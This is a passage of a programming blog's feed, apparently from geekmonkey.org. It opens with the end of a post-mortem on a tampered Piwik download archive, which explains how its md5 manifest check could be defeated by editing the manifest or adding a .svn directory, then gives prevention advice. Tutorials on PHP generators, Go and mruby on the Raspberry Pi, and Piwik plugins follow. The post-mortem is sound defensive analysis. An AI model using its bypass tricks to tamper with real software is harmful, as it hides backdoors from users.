<p>The way the integrity check works is relatively simple. A function in <code>core/Piwik.php</code> called <code>Piwik::getFileIntegrityInformation()</code> loads an array of filename-to-hash mappings from <code>config/manifest.inc.php</code>. The function then iterates over all files in the archive, computes the md5 sums and compares them to those listed in the manifest.</p>
<pre><code class="language-php">class Manifest {
    static $files=array(
        &quot;composer.json&quot; =&gt; array(&quot;676&quot;, &quot;0d8c0b7c7583fa526137aa804010729b&quot;),
        [..]
    );
}
</code></pre>
<p>Whenever a md5 sum does not match the sum of the corresponding file, a warning is issued to the user. While this looks like a great way to prevent attacks, it does help in case someone compromises your download archive. The attacker could have easily changed the manifest containing the md5 sums to reflect the malicious changes he made.</p>
<pre><code class="language-php">// ignore dev environments
if(file_exists(PIWIK_INCLUDE_PATH . '/.svn'))
{
        $messages[] = Piwik_Translate('General_WarningFileIntegritySkipped');
        return $messages;
}
</code></pre>
<p>Instead of modifying the manifest file, the attacker could also have created a <em>.svn</em> directory in the archive which would have led Piwik to skip the integrity check altogether and only display a warning to the user.</p>
<h1 id="prevention">Prevention</h1>
<p>There are several things that both users and developers should learn from this attack.</p>
<h2 id="userside">User side</h2>
<p>PHP is a language that is known for many systems with security flaws in them. This cannot only be blamed on the language itself, as there are always developers writing bad and insecure code. There is a saying that <a href="http://blogs.msdn.com/b/ericlippert/archive/2003/11/01/53329.aspx">eval is evil</a> and should not be used in any program. PHP can be configured to disable some built-in functions with the <a href="http://www.php.net/manual/en/ini.core.php#ini.disable-functions">disable_functions</a> directive in the <strong>php.ini</strong>. Since <em>eval</em> is a language construct and not an internal function, we cannot disable it that easily. Suhosin, a security patch for PHP, however allows you to <a href="http://www.hardened-php.net/suhosin/a_feature_list:eval_black_and_whitelist.html">blacklist <em>eval</em></a>.</p>
<blockquote>
<p>If eval() is the answer, then you asked the wrong question</p>
</blockquote>
<p>The attacker disguised the malicious code using a base64 encoded string and tried to execute it with the <em>eval</em> function. Theoretically we could blacklist <em>eval</em> with Suhosin to prevent future attacks that use a similar approach. Sadly though, the template engine that Piwik uses (Smarty) requires the eval function and it would render Piwik non-functional if we were trying to disable it.</p>
<p>One thing can be done though: Most Open Source projects provide md5 sums of their downloadable archives. You should always make sure that the md5 sum matches the one of your downloaded copy before trying to install anything. Always be aware, that if the md5 sum is served by the exact same webserver as the downloaded archive, that it might be compromised as well.</p>
<p>In this special case, Piwik showed a warning message to the user because of the failed integrity check. Whenever you have to deal with any kind of application that is visible to the web, make sure to always read warning messages.</p>
<h2 id="developerside">Developer side</h2>
<p>There are a few things that the developers could have done, to prevent the attack in the first place. The latest version of Piwik is currently served under the URL <strong><a href="http://piwik.org/latest.zip">http://piwik.org/latest.zip</a></strong>. By using the same host for serving the download archive and the project website you leave multiple attack vectors open. The project page is served by Wordpress, which has a <a href="http://www.cvedetails.com/vulnerability-list/vendor_id-2337/product_id-4096/Wordpress-Wordpress.html">long history of exploits</a> and vulnerabilities. In the blog post following the attack, the developers confirmed that the attack used a bug in a third-party plugin for Wordpress. To sum this up: It is not a good idea to host an important download archive alongside an application that is known for security issues.</p>
<p>The basic setup should look like this:</p>
<ol>
<li>Webserver for serving the project page and documentation</li>
<li>Separate server for all offered download packages</li>
<li>Another server to host the md5 sums for all downloads</li>
</ol>
<p>While 1 and 3 can optionally be combined, this setup ensures that even if one host is compromised, users can still detect when someone tampered with a file.</p>
<p>In this case the source code repository was not compromised. No matter how many people work on a project, there should always be someone peer reviewing all commits to the repository in order to detect attempts to introduce backdoors (both intentionally and unintentionally). If the source code is compromised, even the setup above cannot prevent malicious code from being distributed to users as the md5 sum will perfectly match the distributed file.</p>
<h1 id="advice">Advice</h1>
<p>Popular open source projects often offer bounties for finding bugs and disclosing them to the developers before making them public. This gives the developers time to work on a fix and schedule a new release before bugs or exploits are publicly used (so called 0-days). Piwik is amongst the open source projects that offer such a <a href="http://piwik.org/security/">security bug bounty program</a>, so if you ever find a security issue in the source code please tell it to the developers first!</p>
]]></content:encoded></item><item><title><![CDATA[PHP 5.5 Generators]]></title><description><![CDATA[<p>Among the new features that will be introduced in PHP 5.5, the probably most exiting one is the concept of generators.</p>
<h1 id="whataregenerators">What are Generators?</h1>
<p>Lets first look at what Wikipedia has to say about generators:</p>
<blockquote>
<p>In computer science, a generator is a special routine that can be used to</p></blockquote>]]></description><link>http://geekmonkey.org/2012/11/php-5-5-generators/</link><guid isPermaLink="false">5a01b4391f6c7736cb307d70</guid><category><![CDATA[PHP]]></category><dc:creator><![CDATA[Fabian Becker]]></dc:creator><pubDate>Thu, 22 Nov 2012 11:00:00 GMT</pubDate><media:content url="http://geekmonkey.org/content/images/2017/01/php55-generators.png" medium="image"/><content:encoded><![CDATA[<img src="http://geekmonkey.org/content/images/2017/01/php55-generators.png" alt="PHP 5.5 Generators"><p>Among the new features that will be introduced in PHP 5.5, the probably most exiting one is the concept of generators.</p>
<h1 id="whataregenerators">What are Generators?</h1>
<p>Lets first look at what Wikipedia has to say about generators:</p>
<blockquote>
<p>In computer science, a generator is a special routine that can be used to control the iteration behaviour of a loop.</p>
</blockquote>
<p>and</p>
<blockquote>
<p>A generator is very similar to a function that returns an array, in that a generator has parameters, can be called, and generates a sequence of values.</p>
</blockquote>
<p>So basically a generator is a special function that creates a sequence of values and is used in loops. What then is the difference to a regular function returning an array?</p>
<p>There are cases where you cannot generate all values at once (think of infinite sequences or memory limitations) and this is where generators come in very handy as they produce the values on demand.</p>
<h1 id="generatorsinotherlanguages">Generators in other languages</h1>
<p>The concept of generators is not new. Implementations have long existed in other languages such as Ruby (called enumerators), Python, JavaScript and C#.</p>
<pre><code class="language-python">def fib():
    last = 0
    current = 1
    yield 1
    while True:
    	current = last + current
    	last = current - last
        yield current

for i in fib():
	print(i)
</code></pre>
<p>Generators first appeared back in 1975 in a language called <a href="http://www.lcs.mit.edu/publications/pubs/pdf/MIT-LCS-TR-561.pdf">CLU</a> which was created at MIT. CLU also introduced other features such as multiple return values and multiple assignment that influenced modern languages like Ruby, Python and <a href="http://golang.org/doc/effective_go.html#multiple-returns">Go</a>.</p>
<h1 id="php">PHP</h1>
<p>First lets start off by converting above Python script into its PHP equivalent:</p>
<pre><code class="language-php">function fib() {
    $last = 0;
    $current = 1;
    yield 1;
    while (true) {
        $current = $last + $current;
        $last = $current - $last;
        yield $current;
    }
}
 
foreach (fib() as $number) {
    echo $number . &quot;\n&quot;;
}
</code></pre>
<p>The <code>fib()</code> function implements a generator that produces the fibonacci numbers one by one. For each computed value it uses the <code>yield</code> keyword with the value as parameter. PHP 5.5 automatically treats every function that contains a <code>yield</code> call as a generator.</p>
<p>Generators are implemented as a subclass of the <code>Iterator</code> class.</p>
<pre><code class="language-php">final class Generator implements Iterator {
    void  rewind();
    bool  valid();
    mixed current();
    mixed key();
    void  next();
 
    mixed send(mixed $value);
}
</code></pre>
<p>The initial call to a generator function will return an object of the Generator class. This can easily be tested:</p>
<pre><code class="language-php">function gen() {
    yield 'hello';
}

$gen = gen();
echo get_class($gen);
// =&gt; &quot;Generator&quot;
</code></pre>
<p>Iterators have been available in PHP for quite some time and implementing Generators in the same manner, makes them automatically usable in places where you earlier would have used an Iterator. So we now know how a Generator is implemented, but what about that <code>yield</code> keyword?</p>
<h2 id="yield">Yield</h2>
<p>The <code>yield</code> keyword behaves much like <code>return</code>. It passes a value back to the caller of the function, but instead of completely removing the function from the stack, its state is saved for re-entry. Whenever the generator function is called again (in this case a call to <code>next()</code> on the Generator object - remember, it implements the Iterator interface) the execution is passed back to the point of the last <code>yield</code> call.</p>
<h2 id="yieldingkeys">Yielding Keys</h2>
<p>In PHP, unlike other languages, Iterators always consist of a key and a value. Yield has support for yielding keys using a similar syntax to that used in foreach loops and associative arrays: <code>yield $key =&gt; $value;</code>. Internally generators need to generate key is none way explicitly yielded. The behaviour of arrays was adapted here: By default the keys start with the integer value 0 and auto-increment by one. If an explicitly yielded key is larger than the current key, it is used as the new starting-point for auto-generated keys.</p>
<pre><code class="language-php">function gen() {
    yield 'a';
    yield 'b';
    yield 'key' =&gt; 'c';
    yield 'd';
    yield 10 =&gt; 'e';
    yield 'f';
}
 
foreach (gen() as $key =&gt; $value) {
    echo $key, ' =&gt; ', $value, &quot;\n&quot;;
}
 
// outputs:
0 =&gt; a
1 =&gt; b
key =&gt; c
2 =&gt; d
10 =&gt; e
11 =&gt; f
</code></pre>
<p>Other keys, like strings, do not affect the mechanism of auto-incremented keys.</p>
<h2 id="benchmark">Benchmark</h2>
<p>To test the performance of generators against other common methods of iteration Nikita Popov wrote a micro benchmark that tested the execution time of a simple loop with one hundred, ten thousand and one million iterations. The methods tested are a iterator implementation, the <a href="http://php.net/range">range</a> function, a self-generated array and generators (here xrange).</p>
<p>His initial tests showed that the generators consistently outperform all other methods by at least factor 1.5 given a high number of iterations (&gt;= 10000).</p>
<p>I ran his benchmark on my Thinkpad x61s with a self-compiled PHP 5.5 Alpha 1 on Ubuntu 12.04 and used <code>memory_get_peak_usage()</code> to get the maximum amount of memory used for each test. The tests were separated into multiple files to ensure that the memory usage really comes from a single method.</p>
<pre><code class="language-text">xrange        (100) took 0.00011491775512695 seconds.
xrange        (100) used 246080 bytes of memory.
xrange        (10000) took 0.0027370452880859 seconds.
xrange        (10000) used 246080 bytes of memory.
xrange        (1000000) took 0.24474191665649 seconds.
xrange        (1000000) used 246080 bytes of memory.

range         (100) took 0.006105899810791 seconds.
range         (100) used 250840 bytes of memory.
range         (10000) took 0.0058670043945312 seconds.
range         (10000) used 1727528 bytes of memory.
range         (1000000) took 0.50974011421204 seconds.
range         (1000000) used 144624904 bytes of memory.

urange        (100) took 0.00012612342834473 seconds.
urange        (100) used 252208 bytes of memory.
urange        (10000) took 0.0051400661468506 seconds.
urange        (10000) used 1728808 bytes of memory.
urange        (1000000) took 0.6002779006958 seconds.
urange        (1000000) used 144626280 bytes of memory.

RangeIterator (100) took 0.00048303604125977 seconds.
RangeIterator (100) used 249160 bytes of memory.
RangeIterator (10000) took 0.0093441009521484 seconds.
RangeIterator (10000) used 249160 bytes of memory.
RangeIterator (1000000) took 0.90639901161194 seconds.
RangeIterator (1000000) used 249160 bytes of memory.
</code></pre>
<p>The tests were run multiple times which showed that the results obtained are consistent over time. The results in the listing above come from a single run and confirm the numbers obtained by Nikita Popov. They also show, that generators are memory efficient in that their memory usage is in O(1). The memory usage for range and urange scale linearly and quickly let PHP run into its memory limit.</p>
<p><strong>Note:</strong> The benchmark done here is still very simple and results in real use cases can vary (e.g. iterating over objects instead of numbers).</p>
<h1 id="conclusion">Conclusion</h1>
<p>Generators seem to outperform Iterators and arrays for big data sets in both, speed and memory efficiency. They are also much faster to implement, since you do not have to extend the Iterator class. Personally, this is one of the few features in PHP 5.5 I am really excited about, but given the slow adoption rate of new PHP versions by most web hosts, I fear that it will take a long time until we see them used in popular projects. PHP 5.5 itself is roughly scheduled for March 2013 (one year after PHP 5.4 was released), so implementation details might change until then.</p>
<h1 id="resources">Resources</h1>
<ul>
<li><a href="http://www.php.net/archive/2012.php#id2012-11-15-1">PHP 5.5.0 Alpha1 released</a></li>
<li><a href="https://wiki.php.net/rfc/generators">RFC Generators</a></li>
<li><a href="https://gist.github.com/2975796">Micro benchmark</a></li>
</ul>
]]></content:encoded></item><item><title><![CDATA[Baking a Pi for Google Go]]></title><description><![CDATA[<p>No that is <em>not</em> a typo in the title! Google Go was first released to the wild in 2009, exactly <a href="http://google-opensource.blogspot.de/2009/11/hey-ho-lets-go.html">three years ago</a>. Since then it has grown from an experimental language to production ready language with Go 1.</p>
<p>Go is available on all big platforms and architectures, be it</p>]]></description><link>http://geekmonkey.org/2012/11/baking-a-pi-for-google-go/</link><guid isPermaLink="false">5a01b4391f6c7736cb307d6f</guid><category><![CDATA[golang]]></category><category><![CDATA[Raspberry Pi]]></category><dc:creator><![CDATA[Fabian Becker]]></dc:creator><pubDate>Sat, 10 Nov 2012 11:00:00 GMT</pubDate><media:content url="http://cdn.geekmonkey.org/teasers/images/000/000/024/normal/go-raspi.png?1356743194" medium="image"/><content:encoded><![CDATA[<img src="http://cdn.geekmonkey.org/teasers/images/000/000/024/normal/go-raspi.png?1356743194" alt="Baking a Pi for Google Go"><p>No that is <em>not</em> a typo in the title! Google Go was first released to the wild in 2009, exactly <a href="http://google-opensource.blogspot.de/2009/11/hey-ho-lets-go.html">three years ago</a>. Since then it has grown from an experimental language to production ready language with Go 1.</p>
<p>Go is available on all big platforms and architectures, be it Windows, Linux, MacOS, x86 or ARM. Being a happy owner of the Raspberry Pi, which uses an ARM chip, I tried building Go v1.0.3 and failed.</p>
<pre><code class="language-bash">$ ./make.bash 
# Building C bootstrap tool.
cmd/dist

# Building compilers and Go bootstrap tool for host, linux/arm.
lib9
[..]
pkg/go/build
cmd/go
SIGILL: illegal instruction
PC=0x7bfa8

math.init·1()
</code></pre>
<p>This error has been fixed in the repository and will very likely make it into Go 1.1. This article describes the steps for building and installing Go from source on the Raspberry Pi.</p>
<h1 id="preparingyourraspberry">Preparing your Raspberry</h1>
<p>The Raspberry Pi comes with either 256 MB or 512 MB of memory. Compiling and linking the Go compiler can consume over 200 MB of RAM, so if you own the 256 MB version of the Pi, I recommend you adjust the memory split in favor of the main processor, at least while working with Go code. This also applies later when you compile Go programs, so keep that in mind!</p>
<p>The easiest way to adjust the memory split is by using the <code>raspi-config</code> utility:</p>
<p><img src="http://geekmonkey.org/content/images/2017/01/raspi-config01.png" alt="Baking a Pi for Google Go"></p>
<p><img src="http://geekmonkey.org/2012/11/baking-a-pi-for-google-go/" alt="Baking a Pi for Google Go"></p>
<p>After changing the settings you will have to reboot your Raspberry Pi using <code>sudo shutdown -r now</code></p>
<h1 id="installingnecessarytoolsandlibraries">Installing necessary tools and libraries</h1>
<p>Raspbian has all the tools we need available through installable packages. To build Go from source we need Mercurial and a C compiler.</p>
<pre><code class="language-bash">sudo apt-get install -y mercurial gcc libc6-dev
</code></pre>
<p>Now that all prerequisites are installed and the Pi is set up, it is time to clone the source and build Go!</p>
<h1 id="cloningthesource">Cloning the source</h1>
<p>Google Go is hosted on Google Code and uses Mercurial for source code management.</p>
<pre><code class="language-bash">$ hg clone https://code.google.com/p/go/ $HOME/go
</code></pre>
<p>This will clone the source into your home directory under the directory <code>go</code>.</p>
<h1 id="buildinggo">Building Go</h1>
<p>Go comes with a number of bash scripts that you can use to build the source. The easiest and quickest way is to run the <code>make.bash</code> script in the src directory.</p>
<pre><code class="language-bash">cd $HOME/go/src
./make.bash
</code></pre>
<p>This will just compile the source and leave the final binaries in <code>$HOME/go/bin</code>. In case you want to run the full test suite you can either run <code>all.bash</code> (which will build and test Go) or just run <code>test.bash</code> after the initial build.</p>
<h2 id="addinggotoyourpath">Adding go to your PATH</h2>
<p>To run go directly from the command line you need to add it to the PATH. Add the following line into your <code>.bashrc</code>:</p>
<pre><code class="language-bash">export PATH=$PATH:$HOME/go/bin
</code></pre>
<h1 id="bakingthepie">Baking the Pi(e)</h1>
<p>Go is installed and we can bake the Pi!</p>
<pre><code class="language-bash">$ go run main.go
         (
          )
     __..---..__
 ,-='  /  |  \   =-.
:--..___________..--;
 \.,_____________,./
  Happy Birthday Go!
</code></pre>
<p>Lets hope Go is enjoying the cake! It is now up to you to explore the possibilities of having Go installed on the Raspberry Pi. Have a look at the additional resources to get an idea of what is possible with Go and the Raspberry Pi.</p>
<pre><code class="language-go">package main;

import &quot;fmt&quot;

func main() {
  fmt.Println(&quot;         (&quot;)
  fmt.Println(&quot;          )&quot;)
  fmt.Println(&quot;     __..---..__&quot;)
  fmt.Println(&quot; ,-='  /  |  \\  `=-.&quot;)
  fmt.Println(&quot;:--..____________..--;&quot;)
  fmt.Println(&quot; \\.,_____________,./&quot;)
  fmt.Println(&quot;  Happy Birthday Go!&quot;)
}
</code></pre>
<p>Did you already build something great for the Raspberry Pi with Go? Share it in the comments!</p>
<h1 id="additionalresources">Additional Resources</h1>
<ul>
<li><a href="http://mindchunk.blogspot.com.au/2012/09/openvg-on-raspberry-pi.html">OpenVG on the Raspberry Pi</a></li>
<li><a href="https://github.com/ajstarks/openvg">OpenVG 2D bindings for Go</a></li>
</ul>
]]></content:encoded></item><item><title><![CDATA[Building mruby on the Raspberry Pi]]></title><description><![CDATA[<p>The Raspberry Pi is a credit-card sized computer with 700 MHz (can be overclocked to about 1.1 GHz) and originally 256 MB memory, which has recently received an upgrade to 512 MB.</p>
<p>Yukihiro Matz announced mruby in 2011 as Ruby implementation that is easily embeddable into other application and</p>]]></description><link>http://geekmonkey.org/2012/11/building-mruby-on-the-raspberry-pi/</link><guid isPermaLink="false">5a01b4391f6c7736cb307d6e</guid><category><![CDATA[ruby]]></category><category><![CDATA[mruby]]></category><category><![CDATA[Raspbian]]></category><category><![CDATA[Raspberry Pi]]></category><dc:creator><![CDATA[Fabian Becker]]></dc:creator><pubDate>Fri, 02 Nov 2012 11:00:00 GMT</pubDate><media:content url="http://geekmonkey.org/content/images/2017/01/pi-ruby.png" medium="image"/><content:encoded><![CDATA[<img src="http://geekmonkey.org/content/images/2017/01/pi-ruby.png" alt="Building mruby on the Raspberry Pi"><p>The Raspberry Pi is a credit-card sized computer with 700 MHz (can be overclocked to about 1.1 GHz) and originally 256 MB memory, which has recently received an upgrade to 512 MB.</p>
<p>Yukihiro Matz announced mruby in 2011 as Ruby implementation that is easily embeddable into other application and has a low memory footprint. mruby was open sourced in May 2012 with a C API</p>
<p>It is technically possible to install and run Ruby 1.9 on the Raspberry Pi, the standard MRI version will probably use up too many resources. While mruby is limited in its functionality (compared to standard Ruby), its properties are perfect for the resources available on the Raspberry Pi.</p>
<h1 id="installation">Installation</h1>
<p>I assume you already installed a Linux distribution like <a href="http://raspbian.org">Raspbian</a> to the SD Card of your Raspberry Pi. There are currently  no binary packages available for mruby, so we need to fetch the source and build it ourselves.</p>
<p>The source code of mruby is hosted on <a href="http://github.com/mruby/mruby">Github</a>, and if you do not have Git installed on your system already, we need to install it:</p>
<pre><code class="language-bash">sudo apt-get install git-core
</code></pre>
<p>We can clone the latest version of mruby directly from Github:</p>
<pre><code class="language-bash">git clone git://github.com/mruby/mruby.git
</code></pre>
<p>In order to build mruby, we need a C compiler and bison - a parser generator - installed on our system.</p>
<pre><code class="language-bash">sudo apt-get install build-essential bison
</code></pre>
<p>Now that all requirements are fulfilled go to your copy of mruby and type <code>make</code>.</p>
<pre><code class="language-bash">cd /path/to/mruby
make
</code></pre>
<p>This will compile mruby. Right now there is no <code>make install</code>, which would install mruby on your system. You will have to use the binaries in <code>bin/</code> directly.</p>
<h2 id="addingmrubytopath">Adding mruby to PATH</h2>
<p>You might want to add mruby to your PATH, so you do not have to call mruby with its full path all the time. Open up <em>.bashrc</em> in your home directory and add the following two lines at the end:</p>
<pre><code class="language-bash">export MRUBY_HOME=/path/to/mruby
export PATH=$PATH:$MRUBY_HOME/bin
</code></pre>
<h1 id="whattodonow">What to do now?</h1>
<p>Now that you have mruby on your Raspberry Pi, you might ask: What do I do now?</p>
<p>Here are some ideas:</p>
<ul>
<li>
<p>mruby is still under development and needs to be tested on different platforms. The Raspberry Pi (running on an ARMv6 architecture) is one of those platforms. If you find any bugs report them on Github!</p>
</li>
<li>
<p>Have a look at the C API and start to extend mruby with classes or modules to play around with. Maybe implement an <em>ncurses</em> wrapper for mruby?</p>
</li>
<li>
<p>Take your favorite Gem and port it to mruby! There already is a project to provide Gem support for mruby called <a href="https://github.com/mruby/mruby/pull/479"><strong>mrbgems</strong></a>.</p>
</li>
<li>
<p>Read through the <a href="https://github.com/mruby/mruby/issues">issues for mruby</a> on Github. Try to improve mruby by fixing issues or by working on feature requests made by the users. Someone requested <strong>fibers</strong> for mruby - why not work on <a href="https://github.com/mruby/mruby/issues/80">that</a>?</p>
</li>
</ul>
<p>There are of course a lot of other things you can do with mruby. You are only limited by your imagination!</p>
<p>Did you already do something great with mruby and want to share it with the world? Leave a comment below!</p>
<h1 id="otherresources">Other resources</h1>
<ul>
<li><a href="http://geekmonkey.org/articles/36-an-introduction-to-mini-ruby">An Introduction to Mini Ruby</a></li>
<li><a href="http://www.arangodb.org/2012/04/25/preliminary-performance-tests-for-mruby-and-v8">Quick benchmark test with mruby vs. V8</a></li>
<li><a href="http://www.arangodb.org/2012/04/20/using-mruby-as-alternative-to-server-side-javascript">Using Minimalistic Ruby as alternative to server-side JavaScript</a></li>
</ul>
]]></content:encoded></item><item><title><![CDATA[An Introduction to Mini Ruby]]></title><description><![CDATA[<p>Ruby is used in a wide variety of projects today, but has gained popularity in web development with Ruby on Rails. With mruby, the latest language implementation, Ruby can be embedded into other applications.</p>
<h1 id="installation">Installation</h1>
<p>The mruby project is hosted on Github. There are currently no binary distributions available, but</p>]]></description><link>http://geekmonkey.org/2012/10/an-introduction-to-mini-ruby/</link><guid isPermaLink="false">5a01b4391f6c7736cb307d6d</guid><category><![CDATA[ruby]]></category><category><![CDATA[mruby]]></category><dc:creator><![CDATA[Fabian Becker]]></dc:creator><pubDate>Tue, 30 Oct 2012 11:00:00 GMT</pubDate><media:content url="http://geekmonkey.org/content/images/2017/01/mruby.png" medium="image"/><content:encoded><![CDATA[<img src="http://geekmonkey.org/content/images/2017/01/mruby.png" alt="An Introduction to Mini Ruby"><p>Ruby is used in a wide variety of projects today, but has gained popularity in web development with Ruby on Rails. With mruby, the latest language implementation, Ruby can be embedded into other applications.</p>
<h1 id="installation">Installation</h1>
<p>The mruby project is hosted on Github. There are currently no binary distributions available, but it is easy enough to build mruby from source. mruby uses the <a href="http://www.gnu.org/software/bison/">bison</a> parser generator, which we need to install before we can build from source.</p>
<pre><code class="language-cmd">apt-get install bison build-essential
</code></pre>
<p>Make sure you have Git installed on your system and then execute the following commands:</p>
<pre><code class="language-cmd">git clone git://github.com/mruby/mruby.git
cd mruby
make
</code></pre>
<p>This will clone the repository from Github and compile mruby. After compilation has finished, you should have the mruby binaries in <code>bin/</code>, library files in <code>lib/</code> and header files in <code>include/</code>.</p>
<h1 id="executables">Executables</h1>
<p>The compilation process generates three binaries in the <code>bin/</code> directory. Lets inspect them one by one.</p>
<h2 id="mruby">mruby</h2>
<p>This is the equivalent to the normal Ruby binary your have with MRI Ruby. You can execute mruby scripts or just check them for syntax errors.</p>
<h2 id="mirb">mirb</h2>
<p><strong>mirb</strong> is the mruby variant of the interactive ruby shell, you probably already know from standard Ruby. It provides an easy and interactive interface where you can write ruby code and execute it on-the-fly.</p>
<pre><code class="language-cmd">$ ./mirb 
mirb - Embeddable Interactive Ruby Shell

This is a very early version, please test and report errors.
Thanks :)

&gt; s = &quot;awesome&quot;
 =&gt; &quot;awesome&quot;
&gt; p &quot;Ruby is #{s}&quot;
&quot;Ruby is awesome&quot;
 =&gt; &quot;Ruby is awesome&quot;
</code></pre>
<h2 id="mrbc">mrbc</h2>
<p>The <strong>mrbc</strong> binary is the mruby bytecode compiler. It translates mruby scripts into either rite bytecode for the RiteVM (which is the name of the VM mruby uses) or transforms it into a C program. While <strong>mruby</strong> can directly execute Ruby scripts you can use <strong>mrbc</strong> to precompile the scripts into bytecode. This obviously makes execution of your programs faster, as the script does not have to be parsed every time you want to execute it.</p>
<p>Say you have a script called <em>test.rb</em> and want to compile it to bytecode and then execute it with mruby. All you need to do is the following:</p>
<pre><code class="language-bash">./bin/mrbc test.rb
./bin/mruby -b test.mrb
</code></pre>
<h1 id="embeddingmruby">Embedding mruby</h1>
<p>mruby is designed to be embedded into other applications. It provides an easy to use C API which can be used to execute scripts or simply hard-coded strings or to extend mruby by providing custom classes that interface with your application. A &quot;Hello World&quot; like example for the C API is the following:</p>
<pre><code class="language-C">#include &lt;stdlib.h&gt;
#include &lt;stdio.h&gt;

#include &lt;mruby.h&gt;
#include &lt;mruby/compile.h&gt;

int main(void)
{
  mrb_state *mrb = mrb_open();
  char code[] = &quot;5.times { puts 'Ruby is awesome!' }&quot;;

  mrb_load_string(mrb, code);
  return 0;
}
</code></pre>
<p>This small snippet creates a new instance of mruby using <code>mrb_open</code> (defined in <em>mruby.h</em>) and then loads and executes the character array with ruby code using <code>mrb_load_string</code>. In order to compile this code we need to tell gcc, to link the libmruby library. We also need to include the math library (-lm) which is not linked with libmruby.</p>
<pre><code class="language-bash">$ gcc -Iinclude main.c lib/libmruby.a -lm -o main.out
$ ./main.out
Ruby is awesome!
Ruby is awesome!
Ruby is awesome!
Ruby is awesome!
Ruby is awesome!
</code></pre>
<p>There are several ways by which you can optimize mruby itself. For one you can force the mruby runtime to use float instead of double values for representing floating point number by simply defining the <em>MRB_USE_FLOAT</em> constant as compiler option (-DMRB_USE_FLOAT). Other options can be found in <code>include/mrbconf.h</code>:</p>
<pre><code class="language-C">/* -DDISABLE_XXXX to drop the feature */
#define DISABLE_REGEXP          /* regular expression classes */
//#define DISABLE_SPRINTF       /* Kernel.sprintf method */
//#define DISABLE_MATH          /* Math functions */
//#define DISABLE_TIME          /* Time class */
//#define DISABLE_STRUCT        /* Struct class */
//#define DISABLE_STDIO         /* use of stdio */
</code></pre>
<p>By default only regular expressions are disabled.</p>
<h1 id="limitations">Limitations</h1>
<p>mruby comes with a number of limitations to make it as light as possible. The probably most notable feature that has been left out, is the ability to require files. Requiring other files is an expensive operation and does not fit well into the design of mruby. Similarly forks and threads are not available for mruby scripts.</p>
<h1 id="conclusions">Conclusions</h1>
<p>mruby is still in development, but there already are a number of good projects utilizing it. <a href="http://mobiruby.org/">MobiRuby</a> brings mruby to the iOS platform and allows you to build apps for mobile devices. mruby has a low-memory footprint and is in many ways similar to Lua. Lua is extensively used in scripting <a href="http://en.wikipedia.org/wiki/Category:Lua-scripted_video_games">video games</a> or as a way to influence httpd request processing in popular webservers like <a href="http://httpd.apache.org/docs/trunk/mod/mod_lua.html">Apache</a>, <a href="http://redmine.lighttpd.net/projects/lighttpd2/wiki/Mod_lua">lighttpd</a> or <a href="https://github.com/chaoslawful/lua-nginx-module">NginX</a>. For Apache, there already is a <a href="https://github.com/matsumoto-r/mod_mruby/wiki">mod_mruby</a> that is developed as an alternative to Lua.</p>
<h1 id="additionalressources">Additional Ressources</h1>
<ul>
<li>mruby keynote by Yukihiro &quot;Matz&quot; Matsumoto: <a href="http://www.youtube.com/watch?v=n7XRYWclYDY">Part 1</a>, <a href="http://www.youtube.com/watch?v=sB-IifjyeLI">Part 2</a></li>
<li><a href="http://merbist.com/2012/04/27/introduction-to-mruby/">Introduction to mruby</a></li>
<li><a href="http://matt.aimonetti.net/posts/2012/04/25/getting-started-with-mruby/">Getting started with mruby</a></li>
<li><a href="https://github.com/mattn/go-mruby">mruby in Go</a></li>
<li><a href="http://mobiruby.org/">mruby for Android and iOS</a></li>
<li><a href="https://speakerdeck.com/matt_aimonetti/mmmm-dot-mruby-everywhere-and-revisiting-ruby">mruby presentation</a></li>
<li><a href="http://www.reddit.com/r/ruby/comments/k9jce/ruby_ritevm_faq_and_timeline_updates/">RiteVM</a></li>
</ul>
]]></content:encoded></item><item><title><![CDATA[How to write a Piwik Plugin]]></title><description><![CDATA[<p>Piwik offers a plugin architecture, that allows you to build plugins without modifying the Piwik core. This article will give an introduction to the Piwik plugin architecture and show you how to build your own plugin.</p>
<h1 id="whatcanaplugindoforme">What can a plugin do for me?</h1>
<p>A plugin can..</p>
<ul>
<li>..collect additional data that</li></ul>]]></description><link>http://geekmonkey.org/2012/10/how-to-write-a-piwik-plugin/</link><guid isPermaLink="false">5a01b4391f6c7736cb307d6c</guid><category><![CDATA[Piwik]]></category><category><![CDATA[IPv6]]></category><category><![CDATA[Plugin]]></category><dc:creator><![CDATA[Fabian Becker]]></dc:creator><pubDate>Wed, 24 Oct 2012 10:00:00 GMT</pubDate><media:content url="http://geekmonkey.org/content/images/2017/01/plugin-piwik.png" medium="image"/><content:encoded><![CDATA[<img src="http://geekmonkey.org/content/images/2017/01/plugin-piwik.png" alt="How to write a Piwik Plugin"><p>Piwik offers a plugin architecture, that allows you to build plugins without modifying the Piwik core. This article will give an introduction to the Piwik plugin architecture and show you how to build your own plugin.</p>
<h1 id="whatcanaplugindoforme">What can a plugin do for me?</h1>
<p>A plugin can..</p>
<ul>
<li>..collect additional data that Piwik currently does not track.</li>
<li>..define new Widgets to visualize currently available or new data.</li>
<li>..define new or override existing menus to customize your Piwik</li>
<li>..provide an API and automatically make data accessible in a number of formats</li>
</ul>
<h1 id="howdoestrackingwork">How does tracking work?</h1>
<p>Before you can start writing your own plugin, you should know how Piwik tracks and processes data. The best way to start is by taking a look at the database layout of a fresh Piwik installation.</p>
<p><img src="http://geekmonkey.org/content/images/2017/01/db-schema.png" alt="How to write a Piwik Plugin"></p>
<h2 id="tracking">Tracking</h2>
<p>Each time a visitor visits your Piwik enabled website the JavaScript will submit a set of basic data about your visitor and the page visited to the <code>piwik.php</code> script. The script takes the raw data and stores it in the database. Tracker plugins can modify or add data to it (e.g. the GeoIP plugin adds geolocation information to the raw data).</p>
<p>For each visitor a new entry is added to the <code>_log_visit</code> table. On each subsequent page visit the visited pages of that visitor are stored in <code>_log_link_visit_action</code>. The <code>_log_action</code> table contains an entry for each <em>page</em> that Piwik has tracked so far. The table is referenced by the <code>_log_link_visit_action</code> table.</p>
<p>If you define Goals for your websites in Piwik, they are stored in the <code>_goal</code> table. Every time one of those goals converts the conversion is stored in the <code>_log_conversion</code> table together with some data about the visitor and the page of the conversion.</p>
<h2 id="processing">Processing</h2>
<p>The raw data that is produced during tracking cannot be displayed directly. It would be too much load for the database to compute all metrics on demand. Therefore Piwik processes the raw data for visualization. This process is called <em>Archiving</em>.</p>
<p>Archiving happens when you visit the Piwik interface.  On high-traffic websites archiving should be done by a <a href="http://piwik.org/setup-auto-archiving/">cronjob</a>. Raw data is processed and stored into archive tables.</p>
<h2 id="archives">Archives</h2>
